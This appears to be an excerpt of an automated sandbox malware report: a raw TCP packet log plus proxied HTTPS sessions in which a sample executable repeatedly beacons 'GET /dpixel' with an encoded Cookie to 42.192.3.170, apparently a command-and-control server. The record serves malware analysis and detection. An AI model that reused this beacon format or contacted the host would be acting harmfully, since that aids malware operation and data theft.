Jan 3, 2025 02:55:39.187829018 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.305493116 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.305548906 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:39.305612087 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.305902958 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.305918932 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:40.511488914 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:40.511604071 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:40.512032986 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:40.512042999 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:40.513289928 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:40.513294935 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:41.079471111 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:41.079519987 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.079545975 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:41.079566002 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:41.079590082 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.079608917 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.080240965 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.080264091 CET	443	50118	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:41.080274105 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.080301046 CET	50118	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.266036987 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.266074896 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:41.266144037 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.273737907 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:41.273751974 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:42.477595091 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:42.477792025 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:42.478183031 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:42.478194952 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:42.481220007 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:42.481226921 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:43.031430006 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:43.031482935 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.031501055 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:43.031516075 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:43.031544924 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.031568050 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.031800985 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.031816006 CET	443	50119	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:43.031829119 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.031862974 CET	50119	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.149056911 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.149095058 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:43.149158001 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.149458885 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:43.149471998 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.310333967 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.310435057 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.659033060 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.659033060 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.659053087 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.659061909 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.973918915 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.973968983 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.973984003 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.974004984 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.974024057 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.974037886 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.974211931 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.974220991 CET	443	50120	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:44.974240065 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:44.974266052 CET	50120	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:45.089204073 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:45.089251041 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:45.089303970 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:45.089826107 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:45.089837074 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.267088890 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.267183065 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.267939091 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.267942905 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.269577026 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.269582033 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.804517984 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.804574966 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.804579973 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.804622889 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.804637909 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.804671049 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.805010080 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.805032015 CET	443	50121	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.805044889 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.805075884 CET	50121	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.925599098 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.925638914 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:46.925703049 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.926318884 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:46.926331043 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.134654045 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.135199070 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.136929989 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.136929989 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.136940002 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.136955023 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.701129913 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.701231003 CET	443	50122	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.703399897 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.703399897 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.703484058 CET	50122	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.820980072 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.821019888 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:48.821063042 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.821943045 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:48.821950912 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.040415049 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.040503025 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.040941954 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.040946960 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.047090054 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.047096014 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.593255997 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.593347073 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.593353033 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.593385935 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.593409061 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.593427896 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.593750954 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.593750954 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.593765974 CET	443	50123	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.593874931 CET	50123	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.715099096 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.715153933 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:50.719173908 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.719540119 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:50.719556093 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:51.934097052 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:51.934251070 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:51.934762955 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:51.934772968 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:51.936178923 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:51.936182976 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:52.501092911 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:52.501179934 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:52.501215935 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.509577036 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.519160986 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.519160986 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.519186974 CET	443	50124	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:52.519355059 CET	50124	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.648360968 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.648394108 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:52.648518085 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.649054050 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:52.649061918 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:53.853291035 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:53.857594967 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:53.857594967 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:53.857611895 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:53.861143112 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:53.861149073 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:54.409611940 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:54.409769058 CET	443	50125	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:54.415023088 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:54.415023088 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:54.415066957 CET	50125	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:54.523452044 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:54.523495913 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:54.523612022 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:54.523957968 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:54.523972988 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:55.704550982 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:55.704608917 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:55.705123901 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:55.705136061 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:55.706825018 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:55.706830025 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:56.241082907 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:56.241141081 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:56.241274118 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.241569996 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.241569996 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.241591930 CET	443	50126	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:56.241818905 CET	50126	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.355103970 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.355134010 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:56.355379105 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.355607986 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:56.355613947 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:57.510479927 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:57.510560989 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.224313021 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.224328995 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:58.226993084 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.226999044 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:58.541183949 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:58.541235924 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.541244030 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:58.541290998 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.541733027 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.541743040 CET	443	50127	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:58.541753054 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.541788101 CET	50127	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.648755074 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.648797989 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:58.648853064 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.649086952 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:58.649101019 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:59.842756033 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:59.842839003 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:59.843275070 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:59.843281031 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:59.844451904 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:59.844456911 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:00.376768112 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:00.376821995 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:00.376826048 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.376873970 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.377177000 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.377193928 CET	443	50128	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:00.377214909 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.377237082 CET	50128	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.492949009 CET	50129	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.492984056 CET	443	50129	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:00.493046045 CET	50129	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.493403912 CET	50129	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:56:00.493416071 CET	443	50129	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:01.694232941 CET	443	50129	42.192.3.170	192.168.2.4
Jan 3, 2025 02:56:01.694382906 CET	50129	443	192.168.2.4	42.192.3.170

HTTP Request Dependency Graph

42.192.3.170

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:51:57 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:51:57 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:51:57 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:51:58 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:51:59 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:51:59 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:00 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:01 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:01 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:02 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:03 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:02 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:04 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:05 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:04 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:06 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:06 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:06 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:08 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:08 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:08 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:10 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:10 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:10 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:11 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:12 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:12 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49740	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:13 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:14 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:14 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49745	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:52:15 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:52:16 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:52:16 GMT Content-Type: application/octet-stream Content-Length: 0

